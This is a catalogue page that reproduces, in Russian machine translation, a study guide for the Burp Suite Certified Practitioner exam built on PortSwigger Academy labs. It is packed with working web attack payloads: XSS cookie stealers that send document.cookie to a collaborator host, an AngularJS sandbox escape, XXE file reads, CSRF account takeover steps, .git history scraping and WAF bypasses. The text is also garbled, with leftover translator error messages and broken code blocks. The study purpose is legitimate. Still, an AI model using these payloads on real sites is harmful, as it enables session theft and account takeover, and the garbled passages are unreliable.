Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Burp-Suite-Certified-Practitioner-Exam-Study — Практические конспекты и пошаговые руководства по лабораторным работам PortSwigger Academy, охватывающие веб-уязвимости, пейлоады, энумерацию и стратегии сдачи экзамена BSCP. | Kitploit
Инструменты/GitHubGitHub/botesjuan/burp-suite-certified-practitioner-exam-study
Анализ уязвимостейЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеПодобранные РесурсыРазработка Полезной НагрузкиУчебные Маршруты и Курсы
Лаборатории и Практика
Топ в Учебные Маршруты и Курсы №9
GitHubbotesjuan/burp-suite-certified-practitioner-exam-study

Burp-Suite-Certified-Practitioner-Exam-Study

Практические конспекты и пошаговые руководства по лабораторным работам PortSwigger Academy, охватывающие веб-уязвимости, пейлоады, энумерацию и стратегии сдачи экзамена BSCP.

Репозиторий
1.5k3875 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Подготовка к экзамену Burp Suite Certified Practitioner

Это мои учебные заметки по более чем 110 лабораторным работам PortSwigger Academy. Я использовал эти лабораторные работы, чтобы сдать экзамен Burp Suite Certified Practitioner 2023 года. Моя квалификация BSCP.
Для получения дополнительной информации посетите PortSwigger Academy, чтобы получить последние учебные материалы.


СКАНИРОВАНИЕ - Перечисление
Фокусное сканирование
Сканирование нестандартных сущностей

ПЛАЦДАРМ - Этап 1
Обнаружение контента
DOM-XSS
XSS - межсайтовый скриптинг
Отравление веб-кэша
Заголовки Host
Контрабанда HTTP-запросов
Брутфорс
Аутентификация

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ - Этап 2
CSRF - захват аккаунта
Сброс пароля
SQLi - SQL-инъекция
JWT - JSON Web Tokens
Загрязнение прототипа
Тестирование API
Контроль доступа
Конечные точки GraphQL API
CORS - обмен ресурсами между источниками

#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html ``` ![Строка JavaScript, в которой одинарная кавычка экранируется обратным слешем](https://assets.kitploit.com/production/public/readmes/51008/5b9fe5c935404a0d67be444540f2e3e5551704688177c8be60e1b6e4220629a0/eacace6120375cbd27292f7df1a7709a2021fc80bbd04914972252ffc37a97cd-display-v1.webp) ``` >Когда описанная выше эксплойт-нагрузка доставляется жертве, CSRF PoC-нагрузка изменяет email жертвы на **[email protected]**, потому что заголовок Referer содержал целевой адрес в своём значении. На экзамене ***BSCP*** обратите внимание на адрес почтового сервера ```hacker@exploit```, который нужно использовать при захвате учётной записи. ``` >Это интерактивный эксплойт, и на экзамене BSCP, если эксплойт этапа 1 был неинтерактивным, то его можно использовать для получения взаимодействия администратора, побудив её перейти по ссылке для смены пароля. Обратите внимание: проверьте `source code` страницы смены email на наличие дополнительных значений form id. ``` [Лаборатория PortSwigger: CSRF, где токен привязан к cookie, не связанной с сессией](https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie) ``` ![csrf duplicated cookie](https://assets.kitploit.com/production/public/readmes/51008/67ac727205b3321a5f0b6263b9fa5e6c0a1e567e4605f7c47edf3f949a6f6239/6622e0aac8672c17f7b081ac3af58e6665f1b77375e5f3ef2efcfe58c30216fd-display-v1.webp) ``` ![CSRF присутствует, проверка не пройдена](https://assets.kitploit.com/production/public/readmes/51008/799f288a181bfb513f77125ec652d0d40e33878c81e230b3fcf6681fca926b50/bc205b49b4f58d8a51215bc9f7cbaa2f312f03f3ed524f7ee7778a223c1b7748-display-v1.webp)

ЭКСФИЛЬТРАЦИЯ ДАННЫХ - Этап 3
XXE - XML-сущности и инъекции
SSRF - подделка серверных запросов
SSTI - инъекция в серверные шаблоны
SSPP - серверное загрязнение прототипа
LFI - обход пути к файлу
Загрузка файлов
Десериализация
Инъекция команд ОС

ПРИЛОЖЕНИЕ
Python-скрипты
Payloads
Списки слов
Фокусное сканирование цели
Подход
Дополнительные учебные материалы

Мои советы по Burp

Я рекомендую пройти как можно больше испытаний Mystery lab challenge, чтобы проверить свои навыки и сократить время, необходимое для выявления уязвимостей, перед сдачей экзамена.
Я также считаю этот совет PortSwigger о пересдаче экзамена очень информативным.
Посмотрите CryptoCat - обзор Burp Suite Certified Professional (BSCP) + советы и приёмы, чтобы получить свежий взгляд на экзамен BSCP в 2024 году.




Купи мне кофе

Спасибо за поддержку кофе, \o/

Мой сертификат Burp Suite Certified Practitioner.


Сканирование

Перечисление веб-приложений начинается с начального и целенаправленного сканирования в рамках ограниченного по времени задания.

Фокусное сканирование
Сканирование нестандартных сущностей

Фокусное сканирование

Из-за жёсткого ограничения по времени во время заданий или экзамена сканируйте определённые точки вставки для конкретных запросов.

scan-defined-insertion-points

Сканер обнаружил уязвимость XML-инъекции в параметре storeId, и это позволило прочитать секретный файл Carlos.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>

root@kitploit:~
>Внеполосный XInclude-запрос, требуется размещённый DTD для чтения локального файла.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

PortSwigger Lab: Быстрое обнаружение уязвимостей с помощью целевого сканирования

Сканирование нестандартных структур данных

Сканирование нестандартных структур данных с помощью функции Burp для сканирования выбранной точки вставки по выделенному тексту в ответах или запросах.

scan-selected-insertion-point

Определите уязвимость по результатам сканера Burp.
В данном случае, используя обнаруженную XSS, похитьте cookie-файлы администратора, создав полезную нагрузку в выявленной точке вставки.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART

root@kitploit:~
>Кодируйте ключевые символы в URL.

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)

>Используйте cookie администратора для доступа к админ-панели, подставив его в текущую сессию браузера.

[PortSwigger Lab: Сканирование нестандартных структур данных](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# Получение доступа  
  
# Обнаружение контента  

>Перечисление цели начинается с фаззинга веб-каталогов и файлов. Используйте либо инструменты Burp engagement tools, либо опцию обнаружения контента для поиска скрытых путей и файлов, либо используйте `FFUF` для перечисления веб-каталогов и файлов. Просмотр `robots.txt` или `sitemap.xml` может раскрыть содержимое.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

Инструмент для работы с Burp, обнаружение контента с использованием моего скомпилированного списка слов burp-labs-wordlist в качестве пользовательского списка файлов.

content-discovery.png

Изучите ветки git-репозитория в локальной скачанной копии с помощью инструмента git-cola. Затем выберите Undo last commit и извлеките пароль администратора из окна diff.``` wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

root@kitploit:~
![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger Lab: Раскрытие информации в истории системы контроля версий](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>Всегда открывайте `source code`, чтобы искать комментарии разработчиков, раскрывающие скрытые файлы или пути. Пример ниже ведёт к [десериализации токена symphony](#deserialization).  

![Комментарий разработчика в коде, ведущий к десериализации](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## DOM-Based XSS  

[DOM XSS Indicators](#identify-dom-xss)  
[DOM XSS Identified with DOM Invader](#dom-invader)  
[DOM XSS AngularJS](#vuln-angularjs)  
[DOM XSS document.write in select](#doc-write-location-search)  
[DOM XSS JSON.parse web messages](#dom-xss-jsonparse-web-messages)  
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)  
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)  
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)  
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)  

### Identify DOM-XSS  

>Уязвимости DOM-based XSS возникают, когда JavaScript берёт данные из источника, контролируемого атакующим, например из URL, и передаёт код в приёмник (sink), поддерживающий динамическое выполнение кода.  
>Проверьте, какие символы позволяют выйти за пределы точки инъекции в `source code`, используя приведённую ниже фуззер-строку.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Изучите исходный код, чтобы определить источники, приёмники или методы, которые могут привести к эксплуатации. Список примеров:

  • document.write()
  • window.location
  • document.cookie
  • eval()
  • document.domain
  • WebSocket()
  • element.src
  • postMessage()
  • setRequestHeader()
  • FileReader.readAsText()
  • ExecuteSql()
  • sessionStorage.setItem()
  • document.evaluate()
  • JSON.parse
  • ng-app
  • URLSearchParams
  • replace()
  • innerHTML
  • location.search
  • addEventListener
  • sanitizeKey()

Dom Invader

Используя плагин Dom Invader и установив canary-значение, например domxss, можно обнаружить DOM-XSS-приёмники, которые можно эксплуатировать.

DOM Invader

Уязвимый AngularJS

Выражение AngularJS, приведённое ниже, можно внедрить в поисковую функцию, когда угловые скобки и двойные кавычки кодируются как HTML-сущности. Уязвимость определяется по тому, что поисковая строка заключена в директиву ng-app и подключён скрипт /js/angular 1-7-7.js. Изучите HTML-код, чтобы определить директиву ng-app, которая сообщает AngularJS, что этот элемент является корневым элементом приложения AngularJS.

domxss-on-constructor.png

Ниже приведена полезная нагрузка для лабораторной работы PortSwigger:```JavaScript {{$on.constructor('alert(1)')()}}

root@kitploit:~
>[Полезная нагрузка для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) с использованием `on.constructor`, которую можно разместить в iframe, размещённом на эксплойт-сервере, в результате чего cookie сессии жертвы будет отправлена в Burp Collaborator.  
>[Шпаргалка PortSwigger по межсайтовому скриптингу](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

Примечание: свойство cookie сеанса не должно иметь установленного безопасного флага HttpOnly, чтобы XSS мог выполниться.

domxss-on-constructor.png

Лаборатория PortSwigger: DOM XSS в выражении AngularJS с HTML-кодированием угловых скобок и двойных кавычек

z3nsh3ll даёт удивительно подробное объяснение уязвимости конструктора в этой лаборатории на YouTube

Поиск места вызова document.write

Цель уязвима для DOM-XSS в функции проверки запасов. исходный код показывает, что document.write является приёмником, используемым с location.search, что позволяет нам добавить параметр запроса storeId со значением, содержащим JavaScript-полезную нагрузку внутри оператора <select>.

DOM-XSS doc write inside select

Выполните тест с помощью приведённой ниже полезной нагрузки, чтобы определить инъекцию в изменённый GET-запрос, используя "> для экранирования.```html /product?productId=1&storeId=fuzzer">fuzzer

root@kitploit:~
![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [пейлоад для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) в приёмнике `document.write` с использованием источника `location.search` внутри элемента `<select>`. Это можно отправить жертве через эксплойт-сервер в `

JSON_parse_web_messages_Exploit_server_Payload.png

В конце значений onload у iframe стоит "*", это означает, что целевой объект — любой.

Установите незащищённую тестовую cookie в браузере через консоль DEV tools браузера для использования во время тестов POC XSS
полезные нагрузки для кражи cookie.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

root@kitploit:~
![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[PortSwigger Lab: DOM XSS с использованием веб-сообщений и JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader использовался для выявления и тестирования DOM XSS через веб-сообщения  

![DOM Invader определяет веб-сообщения](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>Повторно отправьте сообщение с помощью DOM Invader после изменения данных JSON.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

DOM Invader повторная отправка веб-сообщений

PortSwigger: Выявление DOM XSS с помощью PortSwigger DOM Invader

DOM XSS AddEventListener JavaScript URL

Просматривая source code страницы, мы определяем вызов addeventlistener для веб-сообщения, но есть условие if, проверяющее, содержит ли строка http/s.

source-code-web-message-url.png

Размещенная на эксплойт-сервере нагрузка, приведенная ниже, включает строку https и успешно обходит проверку условия if.```html

root@kitploit:~
![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

После того как cookie жертвы обновляется, журнал Exploit-сервера фиксирует значение её секретного cookie.  

>С огромной помощью от ***ShehmeerAbidRajput*** я обновил эту лабораторную работу, используя предоставленный им payload для кражи cookie.  

[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## Межсайтовый скриптинг  

[XSS ресурсы](#xss-resources)  
[Определение разрешённых тегов](#identify-allowed-tags)  
[Обход заблокированных тегов](#bypass-blocked-tags)  
[XSS: назначение протокола](#xss-assign-protocol)  
[Пользовательские теги не блокируются](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[Отражённый строковый XSS](#reflected-string-xss)  
[Отражённая строка с дополнительным экранированием](#reflected-string-extra-escape)  
[Обход песочницы AngularJS](#angularjs-sandbox-escape)  
[XSS шаблонная строка](#xss-template-literal)  
[XSS через JSON в EVAL](#xss-via-json-into-eval)  
[Сохранённый XSS](#stored-xss)  
[Сохранённый DOM XSS](#stored-dom-xss)  
[XSS при загрузке SVG](#xss-svg-upload)  
  
### XSS ресурсы  

>Страницы ресурсов по XSS для поиска payload-ов для **тегов** и **событий**.  

+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS Study notes on XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>Инструмент CSP Evaluator для проверки наличия политики безопасности контента для смягчения XSS-атак. Например, если `base-uri` отсутствует, эта уязвимость позволит атакующему использовать альтернативный метод эксплуатации, описанный в разделе [Upgrade stored self-XSS](#upgrade-stored-self-xss).  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>Когда максимальная длина поля ввода составляет всего 23 символа, используйте этот ресурс для **Tiny XSS Payloads**.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>Установите незащищённую тестовую cookie в браузере, используя консоль инструментов разработчика браузера, для использования во время тестов POC XSS [payload-ов для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

Определение разрешённых тегов

Базовые XSS-пейлоады для определения мер контроля фильтров безопасности приложения при обработке данных, полученных в HTTP-запросе.```html

root@kitploit:~
The input content is empty — no source text was provided for chunk 41 of 303. Please re-send the chunk with the actual Markdown content so it can be translated from English to Russian.```html
"><svg><animatetransform onbegin=alert(1)>

The input content is empty — there is no Markdown text after "INPUT:" to translate. Please provide the chunk content, and I'll translate it.``` <>'"

root@kitploit:~
>Отправка вышеуказанных полезных нагрузок может привести к ответному сообщению, ***"Tag is not allowed"*** из-за блокировки инъекций межсетевым экраном веб-приложения (WAF).  
>Затем ***определите*** разрешённые теги с помощью [методологии PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).  

>Онлайн-кодировщики и декодеры URL и Base64  

+ [URL Decode and Encode](https://www.urldecoder.org/)  
+ [BASE64 Decode and Encode](https://www.base64encode.org/)  
  
>Эта лабораторная работа даёт отличную **методологию** для ***определения*** разрешённых HTML-тегов и событий для создания POC XSS.  

>Разместите код **iframe** на эксплойт-сервере и отправьте ссылку на эксплойт жертве.```html

Обход заблокированных тегов

Средства контроля приложения выдают сообщение, "Тег не разрешен" при вставке базовых XSS-payload, но обнаруживается, что SVG-разметка разрешена с помощью вышеуказанной методологии. Этот payload крадет мою собственную сессионную cookie в качестве POC.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

root@kitploit:~
>Разместите указанную выше полезную нагрузку на эксплойт-сервере и вставьте URL-адрес со значением поиска в ```iframe``` перед доставкой жертве в приведённом ниже блоке кода.```html

svg animatetransform XSS

Лаборатория PortSwigger: Отражённый XSS с разрешённой некоторой SVG-разметкой

XSS Assign protocol

Лаборатория для проверки XSS в HTML-контексте, где в поисковой функции ничего не кодируется. Эта лаборатория используется для проверки эксплойта назначаемого протокола с location javascript, выявленного в исследовании PortSwigger по XSS. В полезной нагрузке %0a представляет собой ASCII-символ новой строки.```html

root@kitploit:~
![Расположение протокола XSS](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### Пользовательские теги не блокируются  
  
>Приложение отвечает сообщением ***"Tag is not allowed"*** при попытке вставить XSS-пейлоады, но если мы создадим пользовательский тег, это обходится.```html
<xss+id=x>#x';

Определите, не блокируется ли вышеуказанный пользовательский тег в функции поиска, наблюдая за ответом. Создайте приведённый ниже payload для кражи сессионного cookie внеполосно.```

root@kitploit:~
>**Примечание:** Пользовательский тег с идентификатором ```x```, содержащий **onfocus** обработчик события, который запускает функцию ```document.location```. Символ **HASH** `#` в конце URL фокусируется на этом элементе сразу после загрузки страницы, вызывая срабатывание полезной нагрузки. Разместите скрипт полезной нагрузки на эксплойт-сервере в тегах ```script``` и отправьте жертве. Ниже представлена та же полезная нагрузка, но в **URL-кодированном** формате.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

Пользовательский XSS-тег

Лаборатория PortSwigger: отражённый XSS в HTML-контексте со всеми заблокированными тегами, кроме пользовательских

z3nsh3ll - объяснение пользовательских тегов для XSS-атак

OnHashChange

Расположенный ниже iframe использует символ HASH # в конце URL-адреса для запуска OnHashChange XSS-похитителя cookie.```JavaScript

root@kitploit:~
>Обратите внимание: если cookie защищён с включённым флагом **HttpOnly**, его нельзя украсть с помощью XSS.  

>Полезная нагрузка лаборатории PortSwigger выполняет печать.```JavaScript

Примечание: Определите уязвимую версию jquery 1.8.2, включённую в исходный код, с помощью действия CSS-селектора при hashchange.

Hashchange

Лаборатория PortSwigger: DOM XSS в jQuery-селекторе (sink) с использованием события hashchange

Crypto-Cat: DOM XSS в jQuery-селекторе (sink) с использованием события hashchange

Отражённый строковый XSS

При отправке поисковой строки и просмотре исходного кода страницы результатов поиска строковая переменная JavaScript с именем searchTerms определяется как отражающая поисковую строку tracker.gif в исходном коде.```html

0 search results for 'fuzzer'


Search

Используя полезную нагрузку test'payload, обратите внимание, что одинарная кавычка экранируется обратным слешем, что предотвращает выход за пределы строки.```JavaScript

root@kitploit:~
>Изменение полезной нагрузки на стилер cookie, который доставляет токен сеанса в Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

collaborator get cookies

При размещении этого payload в iframe целевое приложение не позволяет его встроить и выводит сообщение: refused to connect.

Лаборатория PortSwigger: Отражённый XSS в строку JavaScript с экранированием одинарной кавычки и обратной косой черты

На экзамене BSCP разместите приведённый ниже payload на сервере эксплойтов внутри тегов <script>, а поисковый запрос ниже перед ним должен быть URL-закодирован.```

root@kitploit:~
>Эксплойт-сервер, размещающий отражённую в поисковом запросе уязвимость, которая отправляется жертве для получения её cookie сеанса.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

Приложение выдало сообщение об ошибке Tag is not allowed, и это обходится с помощью </ScRiPt >.

Отражённая строка: дополнительное экранирование

Посмотрите в исходном коде переменную с именем searchTerms, и при отправке полезной нагрузки fuzzer'payload обратите внимание, что одинарная кавычка экранируется обратным слешем, а затем отправьте полезную нагрузку fuzzer\payload и определите, что обратный слеш не экранируется.``` '-alert(1)//

fuzzer';console.log(12345);//

fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//

root@kitploit:~
>Используя одинарную **обратную косую черту**, одинарную кавычку и **точку с запятой**, мы выходим из строковой переменной JavaScript, затем, используя обратные кавычки для обрамления пути ```document.location```, позволяем стилеру cookie обойти защиту приложения.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

С помощью Тревора я превратил это в пейлоад для кражи cookie, используя обратные кавычки. Спасибо Тревору, вот его прохождение на YouTube: XSS JavaScript String Angle Brackets Double Quotes Encoded Single

fail-escape

Лаборатория PortSwigger: отражённый XSS в строку JavaScript с HTML-кодированием угловых скобок и двойных кавычек и экранированием одинарных кавычек

Обход песочницы AngularJS

Экспертная лабораторная работа PortSwigger с использованием AngularJS 1.4.4; версии 1.x достигли конца жизненного цикла и больше не поддерживаются. В этой лабораторной работе AngularJS используется необычным образом: функция $eval недоступна, и вы не сможете использовать строки в AngularJS. Цель: выполнить XSS-атаку, которая обходит песочницу и запускает пейлоад без использования функции $eval.

z3nsh3ll — видео на YouTube, в котором отлично объясняется этот отражённый XSS с обходом песочницы AngularJS без строк

Определите angular.module в исходном коде JavaScript:

angularJS-sandbox-escape-identify.png

Значение переменной key — search — внедряется в динамически создаваемый код JavaScript. Никакой очевидной проблемы безопасности здесь нет. Однако безопасность этого кода зависит от того, как этот контроллер и извлечённые значения используются в бэкенде.

Метод $parse вычисляет выражение AngularJS $scope.query.

Используйте &, чтобы добавить вторую пару «ключ-значение» и протестировать динамически генерируемый код пейлоада.

angularJS-sandbox-escape-add-2nd-key pair

Изменив имя второй добавленной пары «ключ-значение» на expression, можно определить, вычисляется ли оно: /?search=key1value&7*7=payload — и результат вычисления равен 49.

angularJS-sandbox-escape-2nd-key pair-eval

Создание пейлоада не удаётся, если использовать alert() в качестве имени второго ключа, из-за того как AngularJS компилирует код через парсер.

Песочница AngulaJS — см. документы PortSwigger по инъекциям в клиентские шаблоны.

Шпаргалка-справочник PortSwigger: обход песочницы 1.4.4.``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

root@kitploit:~
>Пейлоад Collaborator ***стилер куки***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

Десятичные значения ASCII для каждого символа в приведенной выше строке полезной нагрузки, разделенные запятыми. Каждое число представляет собой десятичное значение ASCII соответствующего символа в строке полезной нагрузки.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41

root@kitploit:~
>Python-скрипт для преобразования любого payload в десятичные значения ASCIII:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

python-script-ascii_converter.png

Полезная нагрузка Cookie Stealer в десятичных значениях ASCII, выражение AngularJS, запускаемое через песочницу, из шагов решения PortSwigger:

  1. Эксплойт использует toString() для создания строки без использования кавычек.
  2. Затем получает прототип String и переопределяет функцию charAt для каждой строки.
  3. Это ломает песочницу AngularJS, позволяя передать массив фильтру orderBy.
  4. Установите аргумент фильтра, снова используя toString() для создания строки и свойство конструктора String.
  5. Наконец, используйте метод fromCharCode, чтобы сгенерировать полезную нагрузку, преобразуя коды символов в пример полезной нагрузки x=alert(1).
  6. Функция charAt была переопределена, и AngularJS позволит этому коду выйти из песочницы.

angularJS-sandbox-escape-cookie-stealer

PortSwigger Expert Lab: Отражённый XSS с обходом песочницы AngularJS без строк

Шаблонная строка XSS

Шаблонная строка JavaScript определяется обратными кавычками `, используемыми для содержания строки. В целевом коде мы определяем, что искомая строка отражается внутри шаблонной строки.``` ${alert(document.cookie)}

root@kitploit:~
![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>Спасибо ***Adrián Gyurácz*** за отличный обход, когда мне не удалось получить работающий стилер cookie, обходящий все фильтры для этой лабораторной работы.  

>***Adrián Gyurácz*** нашёл следующую исследовательскую статью от Portswigger, которая привела к решению:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### Отталкиваясь от вышесказанного, его пейлоад:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

Поскольку исходный cookie сеанса лабораторной работы имеет флаги защиты, он создал тестовый фиктивный cookie для подтверждения концепции:

Adrián Gyurácz

после отправки полезной нагрузки в функцию поиска я получил срабатывание стилера cookie:

Adrián Gyurácz

Надеюсь, его исследование окажется полезным для других, и я включаю его в своё руководство. Спасибо.

PortSwigger Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped


XSS через JSON в EVAL

Это приложение для практического экзамена PortSwigger выполняет функцию поиска, и DOM Invader определяет sink в функции eval(). Результаты поиска помещаются в тип содержимого JSON.

Dom Invader EVAL identify

Попробуйте выйти из данных JSON и внедрить тестовую полезную нагрузку "-prompt(321)-" в содержимое JSON.

json-injection-escape.png

При попытке получить значение нашего собственного сессионного cookie с полезной нагрузкой "-alert(document.cookie)-" возвращается сообщение фильтра: "Potentially dangerous search term".

WAF блокирует опасные поисковые фильтры и теги, затем мы обходим фильтры WAF с помощью глобальных переменных JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"

root@kitploit:~
[secjuice: Обход XSS-фильтров с помощью глобальных переменных JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>Ниже приведена основная [полезная нагрузка для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) до её BASE 64 кодирования.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

